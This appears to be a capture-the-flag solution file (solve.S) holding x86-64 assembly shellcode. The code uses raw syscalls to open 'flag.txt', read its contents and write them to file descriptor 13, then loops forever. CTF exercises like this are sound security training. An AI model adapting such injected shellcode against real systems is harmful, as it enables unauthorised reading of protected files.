/..

#CONTENT

#TOP

solve.S
TEXT
    .intel_syntax noprefix

    .text
    .global shellcode
    .global shellcode_end

shellcode:
    mov eax, 2
    lea rdi, [rip + path]
    xor esi, esi
    syscall

    mov edi, eax
    mov eax, 0
    lea rsi, [rip + buffer]
    mov edx, 256
    syscall

    mov eax, 1
    mov edi, 13
    lea rsi, [rip + buffer]
    mov edx, 256
    syscall

    jmp .

    mov eax, 231
    mov edi, 69
    syscall

path: .asciz "flag.txt"
buffer: .space 256

shellcode_end: